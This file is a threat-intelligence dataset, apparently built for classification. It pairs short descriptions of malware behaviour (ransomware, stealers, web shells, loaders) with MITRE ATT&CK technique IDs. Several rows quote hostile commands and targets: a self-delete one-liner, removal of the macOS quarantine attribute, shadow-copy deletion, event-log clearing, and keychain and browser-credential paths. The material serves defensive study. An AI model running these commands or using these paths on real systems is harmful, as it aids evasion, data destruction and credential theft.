Exaramel for Windows stores the backdoor's configuration in the Registry in XML format.,T1027.011
Exbyte exfiltrates collected data to online file hosting sites such as `Mega.co.nz`.,T1567
FRAMESTING can decompress data received within `POST` requests.,T1140
FRAMESTING can embed itself in the CAV Python package of an Ivanti Connect Secure VPN located in `/home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/category.py.`,T1554
FRAMESTING can retrieve C2 commands from values stored in the `DSID` cookie from the current HTTP request or from decompressed zlib data within the request's `POST` data.,T1071.001
FRP can support the use of a JSON configuration file.,T1059.007
FatDuke can call ShellExecuteW to open the default browser on the URL localhost.,T1106
FinFisher has used the KernelCallbackTable to hijack the execution flow of a process by replacing the __fnDWORD function with the address of a created Asynchronous Procedure Call stub routine.,T1574.013
FoggyWeb's loader can enumerate all Common Language Runtimes (CLRs) and running Application Domains in the compromised AD FS server's Microsoft.IdentityServer.ServiceHost.exe process.,T1057
"Fooder has stored its embedded payload in encrypted form within the binary, using a hardcoded key modified at runtime to produce the AES decryption key.",T1027
"For .NET payloads, HeartCrypt can use process hollowing to inject into processes spawned by csc.exe or AppLaunch.exe.",T1055.012
GLASSTOKEN is a web shell capable of tunneling C2 connections and code execution on compromised Ivanti Secure Connect VPNs.,T1505.003
Gelsemium can store its components in the Registry.,T1027.011
"GlassWorm has collected data from macOS devices through the gathering of Apple Notes related files by targeting `/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite`, `/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal`, and `/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm`.",T1213.006
GlassWorm has collected keys stored within `/Library/Keychains/login.keychain-db`.,T1555.001
GlassWorm has gathered credentials stored in Mozilla FireFox and Chromium-based Browsers.,T1555.003
GlassWorm has set registry run keys for persistence in both `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` and `HKLM\Software\Microsoft\Windows\CurrentVersion\Run\`.,T1547.001
"GoBear is installed through droppers masquerading as legitimate, signed software installers.",T1036.005
Gold Dragon enumerates registry keys with the command regkeyenum and obtains information for the Registry key HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.,T1012
Gold Dragon terminates anti-malware processes if they're found running on the system.,T1685
Goopy has the ability to disable Microsoft Outlook's security policies to disable macro warnings.,T1685
Gootloader can fetch second stage code from hardcoded web domains.,T1105
Gootloader can use an embedded script to check the IP address of potential victims visiting compromised websites.,T1016
Gootloader can use its own PE loader to execute payloads in memory.,T1055.002
GuLoader can establish persistence via the Registry under HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce.,T1547.001
"HIUPAN has periodically checked for removable and hot-plugged drives connected to the infected machine, should one be found HIUPAN will propagate to the removeable drives by copying itself and accompanying malware components to a directory to the new drive in a hidden subdirectory `:\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\` and hides any other existing files to ensure UsbConfig.exe is the only visible file on the device.",T1091
Hannotog can execute various `cmd.exe /c %s` commands.,T1059.003
Hannotog can upload encyrpted data for exfiltration.,T1020
Havoc can enumerate processes on targeted hosts.,T1057
Havoc can execute commands via `cmd.exe`.,T1059.003
Havoc can identify privileged user accounts on infected systems.,T1087
Havoc can use HTTP/S listeners to establish and maintain C2 communications.,T1071.001
Havoc has DLL spawn and injection modules.,T1055.001
Havoc has a module for network enumeration including determining IP addresses.,T1016
HeartCrypt can set the `CurrentVersion\Run` key to establish persistence.,T1547.001
HeartCrypt will attempt to load non-existent DLLs in attempt to detect sandbox creation of a dummy DLL to prevent the program from crashing.,T1497.001
HermeticWiper can determine the OS version and bitness on a targeted host.,T1082
"HexEval Loader has a function where the C2 endpoint can identify the geographical location of a victim host based on request headers, execution environment and runtime conditions.",T1614
HexEval Loader has collected the username from the victim host.,T1033
HexEval Loader has encoded module names and C2 URLs as hexadecimal strings in attempts to evade analysis.,T1027.013
HiddenFace can act as an internal HTTP proxy within the targeted environment.,T1090.001
HiddenFace can alter timestamps for directory content on targeted machines.,T1070.006
HiddenFace can collect the username associated with the compromised host.,T1033
HiddenFace can execute a malicious XML file using MSBuild.,T1127.001
IMAPLoader is executed via the AppDomainManager injection technique.,T1574.014
IMAPLoader uses WMI queries to gather information about the victim machine.,T1082
INC Ransomware can use the Microsoft Win32 Restart Manager to kill processes with a specific handle or that are accessing resources it wants to encrypt.,T1057
INC Ransomware has the ability to check for shared network drives to encrypt.,T1135
IPsec Helper can delete various registry keys related to its execution and use.,T1070
IPsec Helper can identify specific files and folders for follow-on exfiltration.,T1005
IPsec Helper can make arbitrary changes to registry keys based on provided input.,T1112
IPsec Helper is run as a Windows service in victim environments.,T1569.002
IcedID has cloned legitimate websites/applications to distribute the malware.,T1189
IcedID has used rundll32.exe to execute the IcedID loader.,T1218.011
IcedID used the `ipconfig /all` command and a batch script to gather network information.,T1016
"If executing without root privileges, Fysbis adds a `.desktop` configuration file to the user's `~/.config/autostart` directory.",T1547.013
"If sent the command `16001`, LightSpy uses the `NSFileManger contentsOfDirectoryAtPath()` to enumerate the Applications folder to collect the bundle name, bundle identifier, and version information from each application's `info.plist` file. The results are then converted into a JSON blob for exfiltration.",T1518
"In older versions, XCSSET uses the plutil command to modify the LSUIElement, DFBundleDisplayName, and CFBundleIdentifier keys in the /Contents/Info.plist file to change how XCSSET is visible on the system. In later versions, XCSSET leverages a third-party notarized `dockutil` tool to modify the `.plist` file responsible for presenting applications to the user in the Dock and LaunchPad to point to a malicious application.",T1647
Industroyer's data wiper module writes zeros into the registry keys in SYSTEM\CurrentControlSet\Services to render a system inoperable.,T1489
InvisiMole has a command to disable routing and the Firewall on the victim's machine.,T1686
InvisiMole has used scheduled tasks named MSST and \Microsoft\Windows\Autochk\Scheduled to establish persistence.,T1053.005
InvisibleFerret has decoded XOR-encrypted and Base-64-encoded payloads prior to execution.,T1140
"InvisibleFerret has executed Python instances of the browser module "".n2/bow"" utilizing the `CREATE_NO_WINDOW` process creation flag.",T1564.003
InvisibleFerret has queried the victim device using Python scripts to obtain the User and Hostname.,T1087.001
InvisibleFerret has searched the victim device credentials and files commonly associated with cryptocurrency wallets.,T1657
"InvisibleFerret has the capability to scan for file names, file extensions, and avoids pre-designated path names and file types.",T1679
InvisibleFerret is written in Python and has used Python scripts for execution.,T1059.006
IronWind can used HTTP to send information to C2 about the targeted system.,T1071.001
"IronWind has used a .NET DLL named ""exit-DN4-core.dll"" to terminate malicious processes running on victim's systems.",T1070
J-magic can compare the host and remote IPs to check if a received packet is from the infected machine.,T1016
JCry has used cmd.exe to launch PowerShell.,T1059.003
Javali can use DLL side-loading to load malicious DLLs into legitimate executables.,T1574.001
JumbledPath can impair logging on all devices used along its connection path to compromised hosts.,T1685
JumbledPath has the ability to perform packet capture on remote devices via actor-defined jump-hosts.,T1040
KEYPLUG can use a hardcoded one-byte XOR encoded configuration file.,T1027.013
KEYPLUG has the ability to communicate over HTTP and WebSocket Protocol (WSS) for C2.,T1071.001
KEYPLUG has used Cloudflare CDN associated infrastructure to redirect C2 communications to malicious domains.,T1090
KOCTOPUS has used -WindowsStyle Hidden to hide the command window.,T1564.003
KONNI can gather information on connected drives and disk space from the victim's machine.,T1680
"KOPILUWAK can use netstat, Arp, and Net to discover current TCP connections.",T1049
Kapeka allows for arbitrary Windows command execution.,T1059.003
Kapeka queries registry values for stored configuration information.,T1012
Kapeka utilizes HTTP for command and control.,T1071.001
Kapeka will clear registry values used for persistent configuration storage when uninstalled.,T1070.009
Kazuar gathers information on local drives.,T1680
Kessel has decrypted the binary's configuration once the main function was launched.,T1140
Kwampirs collects a list of active and listening connections by using the command netstat -nao as well as a list of available network mappings with net use.,T1049
Kwampirs collects a list of available servers with the command net view.,T1018
Kwampirs collects a list of users belonging to the local users and administrators groups with the commands net localgroup administrators and net localgroup users.,T1069.001
Kwampirs collects password policy information with the command net accounts.,T1201
LAMEHUG can encode queries sent to LLMs.,T1132
LAMEHUG can gather service information on targeted systems.,T1007
LAMEHUG can use HTTP POST requests to exfiltrate data from compromised hosts to C2.,T1071.001
LAMEHUG can use Python scripts for execution.,T1059.006
LAMEHUG can use wmic to collect system information.,T1047
LAMEHUG can xcopy for file collection on targeted systems.,T1560.001
LAMEHUG has been distributed through spearphishing emails with various AI-themed malicious attachments.,T1566.001
LIGHTWIRE can RC4 encrypt C2 commands.,T1573.001
LIGHTWIRE is a web shell capable of command execution and establishing persistence on compromised Ivanti Secure Connect VPNs.,T1505.003
LODEINFO can capture system time to send to the C2.,T1124
LODEINFO can exfiltrate collected credentials and browser cookies to the C2 server.,T1041
LODEINFO can inject shellcode into the memory of compromised hosts.,T1055
LODEINFO can use a hashing algorithm to dynamically resolve API function addresses.,T1027.007
LODEINFO has been distributed to targeted victims via malicious email attachments.,T1566.001
LP-Notes has been downloaded and executed by PowerShell's`Invoke-WebRequest` and `Invoke-Expression` cmdlets.,T1059.001
Latrodectus can collect data from a compromised host using a stealer module.,T1005
Latrodectus can exfiltrate encrypted system information to the C2 server.,T1041
Latrodectus has routed C2 traffic using Keyhole VNC.,T1021.005
Latrodectus has the ability to delete itself.,T1070.004
Latrodectus has the ability to deobfuscate encrypted strings.,T1140
Latrodectus has the ability to identify installed antivirus products.,T1518.001
"LazyWiper can halt execution if `System.Net.Dns::GetHostName()` or `$env:COMPUTERNAME` contains `""pe-dc""`.",T1480
LazyWiper has overwritten files with pseudorandom 32‑byte sequences written at 16‑byte intervals making the file unrecoverable.,T1485
LazyWiper has used `System.Net.Dns::GetHostName()` and `$env:COMPUTERNAME` to enumerate the hostname of a system and determine if it is a domain controller.,T1082
LightNeuron gathers information about network adapters using the Win32 API call GetAdaptersInfo.,T1016
"LightSpy encrypts the C2 configuration file using AES with a static key, while the module `.dylib` files use a rolling one-byte encoding for obfuscation.",T1027.013
"LightSpy's main executable and module `.dylib` binaries are loaded using a combination of `dlopen()` to load the library, `_objc_getClass()` to retrieve the class definition, and `_objec_msgSend()` to invoke/execute the specified method in the loaded class.",T1129
"Line Dancer can hook both the crash dump process and the Autehntication, Authorization, and Accounting (AAA) functions on compromised machines to evade forensic analysis and authentication mechanisms.",T1014
"Line Runner uses a ZIP payload that is automatically extracted with its contents, a LUA script, executed for initial execution via CVE-2024-20359.",T1027.015
Line Runner utilizes HTTP to retrieve and exfiltrate information staged using Line Dancer.,T1041
Line Runner utilizes Lua scripts for command execution.,T1059.011
LiteDuke can query the Registry to check for the presence of HKCU\Software\KasperskyLab.,T1012
Lizar can take JPEG screenshots of an infected system. Lizar has also used a plugin to take a screenshot of the infected system.,T1113
"Lizar has decrypted its configuration data, such as the C2 IP address, ports and other network communication.",T1140
LockBit 2.0 can be executed via scheduled task.,T1053.005
LockBit 2.0 can check if a targeted machine is using a set of Eastern European languages and exit without infection if so.,T1614.001
LockBit 2.0 can decode scripts and strings in loaded modules.,T1140
LockBit 2.0 can delete log files through the use of wevtutil.,T1685.005
"LockBit 2.0 has been observed creating accounts for persistence using simple names like ""a"".",T1136
LockBit 2.0 has the ability to move laterally via SMB.,T1021.002
LockBit 2.0 will not execute on hosts where the system language is set to a language spoken in the Commonwealth of Independent States region.,T1480
"LockBit 3.0 can change the Registry values for Group Policy refresh time, to disable SmartScreen, and to disable Windows Defender.",T1112
LockBit 3.0 can create and check for a mutex containing a hash of the `MachineGUID` value at execution to prevent running more than one instance.,T1480.002
LockBit 3.0 can make execution dependent on specific parameters including a unique passphrase and the system language of the targeted host not being found on a set exclusion list.,T1480
LookBack executes the cmd.exe command.,T1059.003
LoudMiner has obfuscated various scripts.,T1027.010
Lucifer can check for existing stratum cryptomining information in HKLM\Software\Microsoft\Windows\CurrentVersion\spreadCpuXmr - %stratum info%.,T1012
Lumma Stealer has been delivered through phishing emails containing malicious links.,T1566.002
Lumma Stealer has gathered credential and other information from multiple browsers.,T1555.003
"Lumma Stealer has used Base64-encoded content during execution, decoded via PowerShell.",T1140
Lumma Stealer has used valid code signing digital certificates from ConsolHQ LTD and Verandah Green Limited to appear legitimate.,T1553.002
LunarMail can capture the recipients of sent email messages from compromised accounts.,T1114.001
LunarMail can create a directory in `%TEMP%\` to stage data prior to exfilration.,T1074.001
LunarMail has the ability to use Outlook add-ins for persistence.,T1137.006
LunarWeb can enumerate system network connections.,T1049
LunarWeb can run a custom binary protocol under HTTPS for C2.,T1572
LunarWeb can run shell commands using a BAT file with a name matching `%TEMP%\.batfile` or through cmd.exe with the `/c` and `/U` option for Unicode output.,T1059.003
LunarWeb can split exfiltrated data that exceeds 1.33 MB in size into multiple random sized parts between 384 and 512 KB.,T1030
"LunarWeb can use WMI queries and shell commands such as systeminfo.exe to collect the operating system, BIOS version, and domain name of the targeted system.",T1082
LunarWeb can use one C2 URL for first contact and to upload information about the host computer and two additional C2 URLs for getting commands.,T1104
LunarWeb can use shell commands to discover network adapters and configuration.,T1016
MEDUSA can be configured to capture SSH credentials via SSH hijacking.,T1563.001
MacMa can clear possible malware traces such as application logs.,T1685.006
MacMa can collect information about a compromised computer's disk sizes.,T1680
MacSpy stores itself in ~/Library/.DS_Stores/,T1564.001
Machete uses the netsh wlan show networks mode=bssid and netsh wlan show interfaces commands to list all nearby WiFi networks and connected interfaces.,T1016.002
Mafalda can use raw TCP for C2.,T1095
MagicRAT stores command and control URLs using base64 encoding in the malware's configuration file.,T1140
Mango can collect the user name from a compromised system which is used to create a unique victim identifier.,T1033
Mango can receive Base64-encoded commands from C2.,T1132.001
MarkiRAT can masquerade as update.exe and svehost.exe; it has also mimicked legitimate Telegram and Chrome files.,T1036.005
"Maze has disabled dynamic analysis and other security tools including IDA debugger, x32dbg, and OllyDbg. It has also disabled Windows Defender's Real-Time Monitoring feature and attempted to disable endpoint protection services.",T1685
"Maze has forged POST strings with a random choice from a list of possibilities including ""forum"", ""php"", ""view"", etc. while making connection with the C2, hindering detection efforts.",T1568
"Maze operators have created scheduled tasks masquerading as ""Windows Update Security"", ""Windows Update Security Patches"", and ""Google Chrome Security Update"" designed to launch the ransomware.",T1036.004
Medusa Ransomware has collected data from the SMBIOS firmware table using `GetSystemFirmwareTable`.,T1082
Medusa Ransomware has decoded XOR encrypted strings prior to execution in memory.,T1140
Medusa Ransomware has deleted recovery files such as shadow copies using `vssadmin.exe`.,T1490
Medusa Ransomware has identified networked drives.,T1135
Medusa Ransomware has leveraged the `CreatePipe` API to enable inter-process communication.,T1559
Medusa Ransomware has terminated antivirus services utilizing the gaze.exe executable. Medusa Ransomware has also terminated antivirus services utilizing PowerShell scripts.,T1685
Medusa Ransomware has the ability to delete itself after execution. Medusa Ransomware also has the ability to delete itself after execution through the command `cmd /c ping localhost -n 3 > nul & del`.,T1070.004
Medusa Ransomware has the capability to detect security solutions for termination or deletion within the victim device using hard-coded lists of strings containing security product executables.,T1518.001
MegaCortex has deleted volume shadow copies using vssadmin.exe.,T1490
MgBot includes modules capable of gathering information from USB thumb drives and CD-ROMs on the victim machine given a list of provided criteria.,T1025
MgBot includes modules for dumping and capturing credentials from process memory.,T1003
MgBot includes modules for identifying local administrator accounts on victim systems.,T1087.001
MirrorStealer can steal credentials stored in browsers.,T1555.003
"Mispadu collects the OS version, computer name, and language ID.",T1082
Mispadu creates a link in the startup folder for persistence. Mispadu adds persistence via the registry key `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`.,T1547.001
Mispadu has the ability to capture and replace Bitcoin wallet data in the clipboard on a compromised host.,T1115
Mispadu searches for various filesystem paths to determine what banking applications are installed on the victim's machine.,T1083
Mispadu's dropper uses VBS files to install payloads and perform execution.,T1059.005
Mosquito runs tasklist to obtain running processes.,T1057
Mosquito runs whoami on the victim's machine.,T1033
"MultiLayer Wiper opens a handle to \\\\\\\\.\\\\PhysicalDrive0 and wipes the first 512 bytes of data from this location, removing the boot sector.",T1561.002
MultiLayer Wiper removes Windows event logs during execution.,T1685.005
NICECURL has a function to remove artifacts.,T1070.004
NOOPLDR can insert junk code to obfuscate malicious payloads.,T1027.016
NPPSPY collection is automatically recorded to a specified file on the victim machine.,T1119
NPPSPY creates a network listener using the misspelled label logincontroll recorded to the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order.,T1684.001
"NPPSPY opens a new network listener for the mpnotify.exe process that is typically contacted by the Winlogon process in Windows. A new, alternative RPC channel is set up with a malicious DLL recording plaintext credentials entered into Winlogon, effectively intercepting and redirecting the logon information.",T1557
NavRAT uses systeminfo on a victim's machine.,T1082
NightClub can load multiple additional plugins on an infected host.,T1105
NightClub can modify the Registry to set the ServiceDLL for a service created by the malware for persistence.,T1112
NightClub can use a DNS tunneling plugin to exfiltrate data by adding it to the subdomain portion of a DNS request.,T1071.004
NightClub has the ability to monitor removable drives.,T1120
NightClub has the ability to use `GetWindowThreadProcessId` to identify the process behind a specified window.,T1057
"Nightdoor can collect information about disk drives, their total and free space, and file system type.",T1680
"Nightdoor can collect information on installed applications via Windows registry keys, as well as collecting information on running processes.",T1057
Nightdoor can utilize Microsoft OneDrive or Google Drive for command and control purposes.,T1102
Ninja can create the services `httpsvc` and `w3esvc` for persistence .,T1543.003
Ninja can store its final payload in the Registry under `$HKLM\SOFTWARE\Classes\Interface\` encrypted with a dynamically generated key based on the drive's serial number.,T1480.001
Ninja has been distributed to victims via the messaging app Telegram.,T1566.003
Ninja has the ability to enumerate directory content.,T1083
Nltest may be used to enumerate the parent domain of a local machine using /parentdomain.,T1016
Nltest may be used to enumerate trusted domains by using commands such as nltest /domain_trusts.,T1482
NotPetya uses wevtutil to clear the Windows event logs.,T1685.005
ODAgent can execute a specified command line passed via API.,T1059.003
ODAgent can pass commands using native APIs.,T1106
"OSX/Shlayer has used the mktemp utility to make random and unique filenames for payloads, such as export tmpDir=""$(mktemp -d /tmp/XXXXXXXXXXXX)"" or mktemp -t Installer.",T1564
"OSX/Shlayer has used the command appDir=""$(dirname $(dirname ""$currentDir""))"" and $(dirname ""$(pwd -P)"") to construct installation paths.",T1083
OSX_OCEANLOTUS.D can also use use HTTP POST and GET requests to send and receive C2 information.,T1071.001
OSX_OCEANLOTUS.D has used a custom binary protocol over TCP port 443 for C2.,T1571
OSX_OCEANLOTUS.D uses the command xattr -d com.apple.quarantine to remove the quarantine file attribute used by Gatekeeper.,T1553.001
OilBooster can download and execute files from an actor-controlled OneDrive account.,T1105
OilBooster can identify the compromised system's hostname which is used to create a unique identifier.,T1082
OilBooster can read the results of command line execution via an unnamed pipe connected to the process.,T1559
"P8RAT has the ability to ""sleep"" for a specified time to evade detection.",T1497.003
PAKLOG has detected and logged the full path of processes active in the foreground using Windows API calls.,T1057
PAKLOG has stored the captured data in a file located `C:\\Users\\Public\\Libraries\\record.txt`.,T1074.001
PHASEJAM has encoded commands with Base64.,T1027.010
PHASEJAM has modified Ivanti Connect Secure appliances and blocks the system upgrades by altering the DSUpgrade.pm file.,T1685
PHASEJAM has used a bash script to modify components on Ivanti Connect Secure appliances and execute files via `/bin/bash`.1 It has also used the Linux stream editor (`sed`) to execute commands.,T1546.004
PHASEJAM has used the `sleep` command within its code to generate a fake HTML upgrade progress bar that mimics a running process.,T1678
POWRUNER may collect network configuration data by running ipconfig /all on a victim.,T1016
POWRUNER may query the Registry by running reg query on a victim.,T1012
"PUBLOAD has collected and sent system information including volume serial number, computer name, and system uptime to designated C2. PUBLOAD has also used several commands executed in sequence via `cmd` in a short interval to gather system information about the infected host including `systeminfo`. PUBLOAD has decrypted shellcode that collects the computer name.",T1082
PUBLOAD has modified HTTP POST requests to resemble legitimate communications. PUBLOAD used FakeTLS headers in network packets to impersonate various versions of TLS protocols to blend in with legitimate network traffic. PUBLOAD has utilized FakeTLS headers with the bytes 17 03 03.,T1001.003
PULSECHECK can base-64 encode encrypted data sent through C2.,T1132.001
PULSECHECK can use Unix shell script for command execution.,T1059.004
"Pacu can disable or otherwise restrict various AWS logging services, such as AWS CloudTrail and VPC flow logs.",T1685.002
Pcexter can upload stolen files to OneDrive storage accounts via HTTP `POST`.,T1567.002
Penquin can execute the command code do_download to retrieve remote files from C2.,T1105
"Pikabot features several methods to evade debugging by analysts, including checks for active debuggers, the use of breakpoints during execution, and checking various system information items such as system memory and the number of processors.",T1622
"Pikabot loads a set of PNG images stored in the malware's resources section (RCDATA), each with an encrypted section containing portions of the core Pikabot core module. These sections are loaded and decrypted using a bitwise XOR operation with a hardcoded 32 bit key.",T1027.003
"PlugX checks if VMware tools is running in the background by searching for any process named ""vmtoolsd"".",T1497.001
PlugX has collected a list of all mapped drives on the infected host.,T1680
PlugX has leveraged a mutex in its infection process.,T1480.002
"PlugX has leveraged obfuscated Windows API function calls that were concealed as unique names, or hashes of the Windows API.",T1027.007
"PlugX has used random, high-number, non-standard ports to listen for subsequent actions and C2 activities.",T1571
PowerExchange can use PowerShell to execute commands received from C2.,T1059.001
PowerSploit's Get-MicrophoneAudio Exfiltration module can record system microphone audio.,T1123
Prestige has leveraged the CryptoPP C++ library to encrypt files on target systems using AES and appended filenames with `.enc`.,T1486
PureCrypter can execute PowerShell commands to exclude files from EDR and to self-delete.,T1059.001
PureCrypter can execute a PowerShell command to self-delete.,T1070.004
PureCrypter can identify virtual machines by querying the WMI object Win32_ComputerSystem for manufacturer and model and check it against the regular expression Microsoft|VMWare|Virtual.,T1673
PureCrypter can retrieve the username from targeted machines.,T1033
PureCrypter can set `ProcessWindowStyle.Hidden` to hide windows on victim machines.,T1564.003
PureCrypter code contains a global mutex.,T1480.002
PureCrypter has the ability to call `CheckRemoteDebuggerPresent`.,T1622
"PureCrypter has used multiple file names to appear legitimate such as firefox\firefox.exe, Google\chrome.exe, and Taskmgr.exe.",T1036.005
Pysa has the capability to stop antivirus services and disable Windows Defender.,T1685
QUADAGENT stores a session identifier unique to the compromised system as well as a pre-shared key used for encrypting and decrypting C2 communications within a Registry key (such as `HKCU\Office365DCOMCheck`) in the `HKCU` hive.,T1027.011
QUIETCANARY can base64 encode C2 communications.,T1132.001
QUIETCANARY has the ability to stage data prior to exfiltration.,T1074
"QUIETEXIT has attempted to change its name to `cron` upon startup. During incident response, QUIETEXIT samples have been identified that were renamed to blend in with other legitimate files.",T1036.005
QakBot can use GetProcAddress to help delete malicious strings from memory.,T1106
QakBot can use net localgroup to enable discovery of local groups.,T1069.001
QakBot has been packaged in ISO files in order to bypass Mark of the Web (MOTW) security measures.,T1553.005
QakBot has used Rundll32.exe to drop malicious DLLs including Brute Ratel C4 and to enable C2 communication.,T1218.011
Qilin can exclude specific directories and files from encryption.,T1083
Qilin can reboot targeted systems in safe mode to avoid detection.,T1688
Qilin can require a specific password to be passed by command-line argument during execution which must match a pre-defined value in the configuration in order for it to continue execution.,T1480
"Qilin has pushed scheduled tasks via Group Policy Objects (GPOs) for execution. Qilin has also created a scheduled task named TVInstallRestore, configured to run at logon using the `/SC ONLOGON` argument.",T1053.005
"QuasarRAT has the ability to set file attributes to ""hidden"" to hide files from the compromised user's view in Windows File Explorer.",T1564.001
Quick Assist allows for the remote administrator to take screenshots of the running system.,T1113
RATANKBA uses netstat -ano to search for specific IP address ranges.,T1049
REPTILE can communicate using TLS over raw TCP.,T1095
REPTILE has the ability to hook kernel functions and modify functions data to achieve rootkit functionality such as hiding processes and network connections.,T1014
RIFLESPINE can create a systemd service file for execution.,T1543.002
ROADSWEEP has been digitally signed with a certificate issued to the Kuwait Telecommunications Company KSC.,T1553.002
ROADSWEEP has been placed in the start up folder to trigger execution upon user login.,T1547.001
ROADSWEEP has dropped ransom notes in targeted folders prior to encrypting the files.,T1491.001
ROADSWEEP has the ability to disable `SystemRestore` and Volume Shadow Copies.,T1490
ROAMINGHOUSE can decode and drop a malicious ZIP file prior to execution.,T1140
ROAMINGHOUSE can embed a ZIP file containing UPPERCUT components into three base64 encoded parts.,T1027.013
"RTM has been delivered to targets as various archive files including ZIP, 7-ZIP, and RAR.",T1027.015
"Raccoon Stealer archives collected system information in a text f ile, `System info.txt`, prior to exfiltration.",T1560
Raccoon Stealer can capture screenshots from victim systems.,T1113
"Raccoon Stealer gathers information on infected systems such as operating system, processor information, RAM, and display information.",T1082
Raccoon Stealer gathers victim machine timezone information.,T1124
Raccoon Stealer has been distributed through cracked software downloads.,T1195
RansomHub has an encrypted configuration file.,T1027.013
RansomHub has the ability to only encrypt specific files.,T1083
Raspberry Robin contains multiple payloads that are packed for defense evasion purposes and unpacked on runtime.,T1027.002
Raspberry Robin creates an elevated COM object for CMLuaUtil and uses this to set a registry value that points to the malicious LNK file during execution.,T1559.001
"Raspberry Robin determines whether it is successfully running on a victim system by querying the running account information to determine if it is running in Session 0, indicating running with elevated privileges.",T1033
Raspberry Robin implements a variation of the ucmDccwCOMMethod technique abusing the Windows AutoElevate backdoor to bypass UAC while elevating privileges.,T1548
Raspberry Robin leverages anti-debugging mechanisms through the use of ThreadHideFromDebugger.,T1622
Raspberry Robin uses msiexec.exe for post-installation communication to command and control infrastructure. Msiexec.exe is executed referencing a remote resource for second-stage payload retrieval and execution.,T1218.007
"Raspberry Robin uses newly-registered domains containing only a few characters for command and controll purposes, such as ""v0.cx"".",T1583.001
Raspberry Robin uses regsvr32.exe execution without any command line parameters for command and control requests to IP addresses associated with Tor nodes.,T1218.010
"Raspberry Robin uses the Windows utility odbcconf.exe to execute malicious commands, using the regsvr flag to execute DLLs and bypass application control mechanisms that are not monitoring for odbcconf.exe abuse.",T1218.008
RedLine Stealer can enumeate information about victims' systems including IP addresses.,T1016
RedLine Stealer can retrieve system default language and time zone.,T1614.001
RedLine Stealer has achieved persistence via scheduled tasks.,T1053.005
RedLine Stealer has the ability download additional payloads.,T1105
RedLine Stealer has used Base64 to encode command and control traffic.,T1132.001
"RedLine Stealer was designed to steal sensitive information from web browsers, including credit card details, saved credentials, and autocomplete data. RedLine Stealer can also gather credentials from several browsers.",T1555.003
Remcos can clean saved cookies and logins from the web browser.,T1070
"Remcos can terminate, suspend, and resume a process by PID.",T1543.003
Remcos has the ability to modify the desktop wallpaper.,T1491.001
"Remcos uses RC4 and base64 to obfuscate data, including Registry entries and file paths. Remcos can also employ control flow flattening to hinder analysis.",T1027
Remexi achieves persistence using Userinit by adding the Registry key HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit.,T1547.004
Remsec has a plugin detect security products via active drivers.,T1518.001
RogueRobin has a command named $screenshot that may be responsible for taking screenshots of the victim machine.,T1113
"RotaJakiro encrypts C2 communication using a combination of AES, XOR, ROTATE encryption, and ZLIB compression.",T1573.001
RotaJakiro has used the filename `systemd-daemon` in an attempt to appear legitimate.,T1036.005
RotaJakiro uses a custom binary protocol over TCP port 443.,T1571
"Royal has been spread through the use of phishing campaigns including ""call back phishing"" where victims are lured into calling a number provided through email.",T1566
RustyWater has encrypted encoded data with XOR before sending it to the C2 server.,T1573.001
RustyWater has used reddit.exe as its file name and a Cloudflare logo.,T1036.005
"Ryuk has called GetLogicalDrives to emumerate all mounted drives, and GetDriveTypeW to determine the drive type.",T1680
"Ryuk has injected itself into remote processes to encrypt files using a combination of VirtualAlloc, WriteProcessMemory, and CreateRemoteThread.",T1055
"S-Type may create the file %HOMEPATH%\Start Menu\Programs\Startup\Realtek {Unique Identifier}.lnk, which points to the malicious `msdtc.exe` file already created in the `%CommonFiles%` directory.",T1547.009
"SILENTTRINITY can add a CLSID key for payload execution through `Registry.CurrentUser.CreateSubKey(""Software\\Classes\\CLSID\\{"" + clsid + ""}\\InProcServer32"")`.",T1546.015
"SILENTTRINITY can collect information related to a compromised host, including OS version.",T1082
SILENTTRINITY can monitor Clipboard text and can use `System.Windows.Forms.Clipboard.GetText()` to collect data from the clipboard.,T1115
"SLOTHFULMEDIA can add, modify, and/or delete registry keys. It has changed the proxy configuration of a victim system by modifying the HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap registry.",T1112
SLOWPULSE can insert malicious logic to bypass RADIUS and ACE two factor authentication (2FA) flows if a designated attacker-supplied password is provided.,T1556.006
SLOWPULSE can modify LDAP and two factor authentication flows by inspecting login credentials and forcing successful authentication if the provided password matches a chosen backdoor password.,T1556.004
"SLOWPULSE can write logged ACE credentials to `/home/perl/PAUS.pm` in append mode, using the format string `%s:%s\n`.",T1074.001
SPAWNCHIMERA has executed only in memory and hooked itself into existing processes on the victim device to include the web process.,T1055.002
SPAWNCHIMERA has updated the timestamp using the `touch` command.,T1070.006
STATICPLUGIN has masqueraded as a BMP file to hide its true MSI file extension.,T1036.008
SUNBURST attempted to disable software security services following checks against a FNV-1a + XOR hashed hardcoded blocklist.,T1685
SUNBURST created an Image File Execution Options (IFEO) Debugger registry value for the process dllhost.exe to trigger the installation of Cobalt Strike.,T1546.012
SVCReady can check for the number of devices plugged into an infected host.,T1120
SVCReady can collect the username from an infected host.,T1033
SVCReady has been distributed via spearphishing campaigns containing malicious Mircrosoft Word documents.,T1566.001
SVCReady has the ability to determine if its runtime environment is virtualized.,T1497.001
Sagerunex calls the `WaitForSingleObject` API function as part of time-check logic.,T1106
Sagerunex encrypts collected system data then exfiltrates via existing command and control channels.,T1041
Sagerunex gathers information from the infected system such as hostname.,T1082
Sagerunex has used virtual private servers (VPS) for command and control traffic as well as third-party cloud services in more recent variants.,T1102.002
Saint Bot will use the malicious file slideshow.mp4 if present to load the core API provided by ntdll.dll to avoid any hooks placed on calls to the original ntdll.dll file by endpoint detection and response or antimalware software.,T1574
SameCoin can send its Setup.exe file as an attachment to other addresses in the same compromised organization.,T1534
SampleCheck5000 can create unique victim identifiers by using the compromised system's computer name.,T1082
SampleCheck5000 can log the output from C2 commands in an encrypted and compressed format on disk prior to exfiltration.,T1074.001
Samurai can check for the presence and version of the .NET framework.,T1518
Samurai can use a proxy module to forward TCP packets to external hosts.,T1095
Sardonic PowerShell scripts can be encrypted with RC4 and compressed using Gzip.,T1027.010
